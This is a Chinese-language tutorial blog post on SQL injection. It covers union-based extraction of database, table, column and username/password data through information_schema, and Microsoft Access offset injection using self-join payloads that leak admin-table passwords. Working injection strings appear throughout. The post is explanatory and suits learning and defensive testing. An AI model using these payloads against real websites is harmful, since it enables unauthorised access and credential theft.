首页 > 数据库 >数据库注入攻击

数据库注入攻击

时间:2023-12-09 14:22:58浏览次数:38  
标签:攻击 数据库 段数 admin select union id 字段名 注入

数据库注入攻击

基于union联合查询的注入

判断字段名数量

使用order by确定字段数
id=1 order by 字段数
使用union select 确定字段数
id=1 union select 1,2,3..... 

查询当前数据库名及数据库信息

id=1 union select version(),database()

查询数据库中的表

id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=数据库名

//group_concat() 对一列数据做拼接,并自动以逗号分隔。

查询表中的字段信息

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=数据库名 and table_name=表名

查询表中数据

 id=1 union select 1,concat(username,0x7e,password) from 表名
 //concat()  对数据进行拼接,默认不会添加分隔符
 id=1 union select 1,username,password from 表名

access偏移注入原理

参考资料

判断是否存在注入点

id=1 and 1=2 页面显示出错
id=1 and 1=1 页面显示正常
说明存在注入点,且为数字型注入

判断注入点所查询的字段数

id=1 order by 22

猜测目标表的表名

id=1 and exists(select * from admin)
//exist()函数:用于检查子查询是否至少会返回一行数据,该子查询实际上并不返回任何数据,而是返回值True或False。

因为access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了,在真实的测试环境中,我们也可以通过社工的方式进行猜解。此次页面返回正常,说明存在access数据库中存在admin表。

确定显示位

id=1 union select union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 目标表

确定目标表的字段数量

id=1 and exists(select * from admin order by 6)

开始进行偏移注入

联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N(N=1,2...)

  • 在此处即为:联合查询补充字段数 = 当前字段数量(22) - admin表的字段数(6) x N
  • 当N=1时我们称为 “1级偏移注入”,当N=2时我们称为 “2级偏移注入”;当N=3时我们称为 “3级偏移注入”,...

1级偏移注入

根据公式我们可以计算出:联合查询补充字段数 = 22-6x1 = 16

id=1 union select top 1 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin

在这里我们解释一下,为什么1级偏移注入并没有爆出我们想要的字段值呢:

  • 由前面的步骤我们已经得知,已经确定的显示位只有 3,9,13,15 四个,即只有处于第3,9,13,15这四个字段的数据才可以显示出来,
  • 但是我们观察下标发现,在进行1级偏移注入时,admin表的数据实际上是排在了17号字段之后了,当然不会在页面中显示出来。
  • 那么我们怎么样才可以将admin表的数据向前移动,以致可以使其处于第3,9,13,15号字段而显示出来呢?
  • 答案是:我们可以进行2级(多级)偏移注入(即通过admin表的自连接使得sql语句中“ * ”所代表的的字段数增大,那么联合查询中用于充数字段就会减小,这样的话,admin表中的数据自然会向前移动了)

2级偏移注入

根据公式我们可以计算出:联合查询补充字段数 = 22-6x2 = 10

id=1 union select 1,2,3,4,5,6,7,8,9,10, * from (admin as a inner join admin as b on a.id=b.id)
//as关键字:用于起别名,可以为表起别名,也可以为字段起别名(as关键字可省略)
//表1 inner join 表2 on 筛选条件 :该关键字用于将表1与表2做笛卡尔积,然后根据on后面的条件进行筛选,(admin as a inner join admin as b on a.id=b.id)语句的意思是:将admin表与自己做笛卡尔积,然后筛选出两者id值相同的记录
  • 假设在第13号显示位,我们成功的爆出了 密码

  • 但这是为什么呢?

    • 通过分析下图中表2我们发现,经过2级偏移注入,我们成功的将admin表的数据向前移动了6个字段,使其原本在17号字段及其之后才显现出的数据,变为了在11号字段及其之后就可回显而出。而此时admin表的password字段和count_time字段恰好处于显示位13和15上,于是就自然而然的暴露了出来。
  • 那又为什么admin表的数据会向前移动6个字段呢?

    • 原因就是,由于admin表进行了一次自连接,使得payload中from关键字后面的表由原有的 “admin表” 变成了:由“先让admin自己做笛卡尔积然后挑选id值相等的记录”组成的表。这样的话,payload中的“ * ”就由原来所代表的 “admin表” 中的6个字段,变为了现在所代表的 “admin自连接表” 的12个字段,又由于union关键字的使用,要求union关键字后面select查询的字段数必须要等于前面select查询的字段数,所以union关键字后面的select中用于充数的字段由原来的22-6=16变为了22-12=10个字段,因此由于充数的字段变少了,那么admin表的数据自然的就可以向前移动了。
    • 请注意:admin表中的数据向前移动的字段数只能是admin表(即目标表)字段数的整数倍(这是由表自连接的特性所决定的)。
    • 在此我们已经爆出了admin表的密码
    • 此时,其实admin表的admin字段就紧挨在password字段的前方(其实在实战环境中我们是不确定admin字段是在前还是在后的,此处只是为了方便原理的讲解,就直接告诉你了)
    • 那么我们是否仍然可以将数据向前移动而爆出admin字段的值呢?在这里显然是不行的,因为我们只能向前移动admin表的字段数量的整数倍(在这里即是6的整数倍),而此时admin表的admin字段此时所处字段为12号字段,再向前移动6个字段的话,admin字段就处于6号字段处了,仍然没有与显示位的位置发生重合。
  • 到了这里,细心的同学会发现:

    • 之前我们讲的都是如何将admin表中的数据向前移动,那么我们可不可以使得数据向后移动呢?要是可以向后移动的话,紧接着2级偏移,然后让数据向后移动一个字段,不就正好让admin字段处于13号显示位了吗?
    • 恭喜你!你的想法是对的,我们的确可以让admin表的数据向后移动,不过遗憾的是,向后移动的字段数仍然取决于:我们能够猜解出admin表中多少个字段名。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要是我们想要查找的字段名,只要是admin表中的字段名均可),原因请继续往后阅读:
  • 微调payload:

    id=1 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id, * from (admin a inner join admin b on a.id=b.id)
    
    • 根据页面返回的数据,我们可以看到,在第13号显示位我们成功的爆出了admin字段的第一个值:admin
    • 原因:
      • 我们先观察sql语句,发现union关键字后面的select查询的填充字段多了代码“b.id”,意思是在此输出b表(admin表的别名之一)的id字段值,由于此处已经显式的指出id字段值的输出位置,那么后面的 “ * ” 就会自动的识别,就只输出admin自联表剩下的字段值了,从而使得剩余数据均向后移动了一个字段,让原本在13号字段的admin字段向后移动了1位,到了13号显示位上了。
      • 但请注意:此处的id字段名是我们已经猜解出的
      • 这也就回答了上述所说的:“向后移动的字段数仍然取决于:我们能够猜解出admin表中多少个字段名,不过这里所需要猜解的字段名不需要必须是我们想要查找的字段名,只要是admin表中的字段名均可”。因此,如果我们想让admin数据向后移动2个字段值,那么我们就需要知道除了id字段名外,其他任一字段名即可,然后构造如下payload:?id=1513 union select top 1 1,2,3,4,5,6,7,8,9,10,b.id,b.字段名 * from (admin a inner join admin b on a.id=b.id)

总结

  • 如果我们仍然采用上述环境,那可不可以进行3级偏移和四级偏移呢?

    • 答:3级偏移可以,但是4级偏移不行,因为如果进行4级偏移的话,就会使得偏移注入基本公式:联合查询补充字段数=当前字段数量-目标表的字段数 x 4 ==> 22-6x4=-2<0,即:会造成union关键字之前的select查询字段数的数量 < union关键字之后的字段数量,从而导致查询失败。

    • 3级偏移的payload:

      id=1 union select top 1 1,2,3,4, * from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)
      
  • access偏移注入是否是真的随机?

    • 通过上述原理的讲解,这个问题也就不攻自破了,显然access注入并不是真正的随机,并不是完全不受我们控制的,在我们获取足够信息的情况下(“目标表”的字段数量,当前字段数量,已知的“目标表字段名"的数量),我们可以在一定范围内完全控制显示位处的数据显示,而之所以说是一定范围内,只是因为 “显示位的位置” 和 “我们可以猜解到的目标表字段名的数量” 这两个因素不是我们可以控制的。
  • 是否可以只说:“当前表”的字段数越多成功率越大,或“目标表”的字段数越少成功率越大?

    • 显然我们不能这样简单的得出结论,偏移注入是否能够成功,取决于:“显示位位置” 和 “目标字段能够移动到的位置” 是否可以重合,如果可以重合的话,即使“当前表”字段数小一点,“目标表”字段数多一点也是无妨的(但万万不可“当前表”的字段数量 < “目标表”的字段数量)
  • 是什么决定着“目标表”的数据一次性前移的字段数?是什么决定着“目标表”的数据可以后移的字段数?

    • 前者是由 “目标表的字段数量” 所决定的:目标表中的数据 向前移动的字段数 只能是 目标表中的字段数的整数倍(这是由表自连接的特性所决定的)。
    • 后者是由 “我们可以猜解得到的目标表的字段名数量” 所决定。若猜解出1个字段名,那么我们就可以让数据向后移动1个字段数,若猜解出2个字段名,那么我们就可以让数据向后移动2个字段数,以此类推。(不过这里所需要猜解的字段名不需要必须是我们想要查找的字段名,只要是admin表中的字段名均可)

标签:攻击,数据库,段数,admin,select,union,id,字段名,注入
From: https://www.cnblogs.com/zero-4046/p/17890887.html

相关文章

  • Day3——揭秘Spring依赖注入和SpEL表达式
    【摘要】在本文中,我们深入探讨了Spring框架中的属性注入技术,包括setter注入、构造器注入、注解式属性注入,以及使用SpEL表达式进行属性注入。我们通过XML和注解两种方式,详细讲解了如何进行属性注入,并给出了完整的代码示例。无论你是Spring新手,还是有一定经验的开发者,本文都将帮助你......
  • 人大金仓数据库 日期计算
    --减法selectdate_format(now()-'1HOUR'::interval,'%Y-%m-%d%H');selectdate_format(now()-'1DAY'::interval,'%Y-%m-%d%H');selectdate_format(now()-'1WEEK'::interval,'%Y-%m-%d%H&#......
  • 1.数据库的相关概念
    一、数据库的好处1、可以持久化数据到本地2、结构化查询二、数据库的常见概念★1、DB:数据库,存储数据的容器2、DBMS:数据库管理系统,又称为数据库软件或数据库产品,用于创建或管理DB3、SQL:结构化查询语言,用于和数据库通信的语言,不是某个数据库软件特有的,而是几乎所有的主流数据......
  • 数据库后门是什么?我们要如何预防它的危害
    数据库后门是黑客在数据库中安装的一种特殊程序或代码,可以绕过正常的认证和授权机制,从而获取数据库的敏感信息或者控制整个数据库。黑客可以通过各种方式安装后门,比如利用漏洞、钓鱼、社会工程学等。数据库后门的危害主要体现在以下几个方面:数据泄露:数据库后门可能被恶意者利用,窃取......
  • 免费数据库管理工具
    免费数据库管理工具以下是一些常见的免费数据库管理工具。请注意,这些工具的版本可能已经更新,新的工具也可能已经推出。建议你检查它们的官方网站以获取最新信息。DBeaver:DBeaver是一个通用的数据库工具,支持多种数据库管理系统,包括MySQL、PostgreSQL、SQLite、Oracle等。......
  • 聊聊数据库连接池 Druid
    在SpringBoot项目中,数据库连接池已经成为标配,然而,我曾经遇到过不少连接池异常导致业务错误的事故。很多经验丰富的工程师也可能不小心在这方面出现问题。在这篇文章中,我们将探讨数据库连接池,深入解析其实现机制,以便更好地理解和规避潜在的风险。1为什么需要连接池假如没有......
  • DVWA SQL Injection注入
    SQL注入步骤:寻找注入点判断注入点类型,是数字型还是字符型如果是字符型则根据真假页面或者报错语句判断闭合方式判断回显列数groupby/orderby判断回显位unionselect并且将前面的语句判定为假值获取数据库名获取数据库的表名获取数据库中表的字段名获取数据库中表的字......
  • Python+Flask SSTI 注入payload自动生成
    抛开代码丑不谈,用起来还是挺好用滴。fromflaskimportFlask,requestfromjinja2importTemplatefromthreadingimportThreadimportrequestsimportosimportsysurl_dict={"popen":[],"eval":[],"__import__":[],}scan_list......
  • JDBC连接数据库
    JDBC连接数据库共六步1.Class.forName()加载数据库连接驱动2.DriverManager.getConnection()获取数据连接对象3.根据SQL获取sq|会话对象4.执行SQL,执行SQL前如果有参数值就设置参数值setXXX()5.处理结果集6.释放资源0.前期工作0.0文件jar包下载,配置,删除目前常用的驱动......
  • 通过C语言连接MySQL数据库
    一、如何连接MySQL首先需要安装MySQLsudoapt-getupdatesudoapt-getinstallmysql-serverC语言的API代码是与MySQL一起提供的,它包含在mysqlclient库中,并允许C程序访问数据库,如果安装MySQL后仍提示缺少库,则需要安装如下:sudoapt-getinstalllibmysqlclient-devsudoa......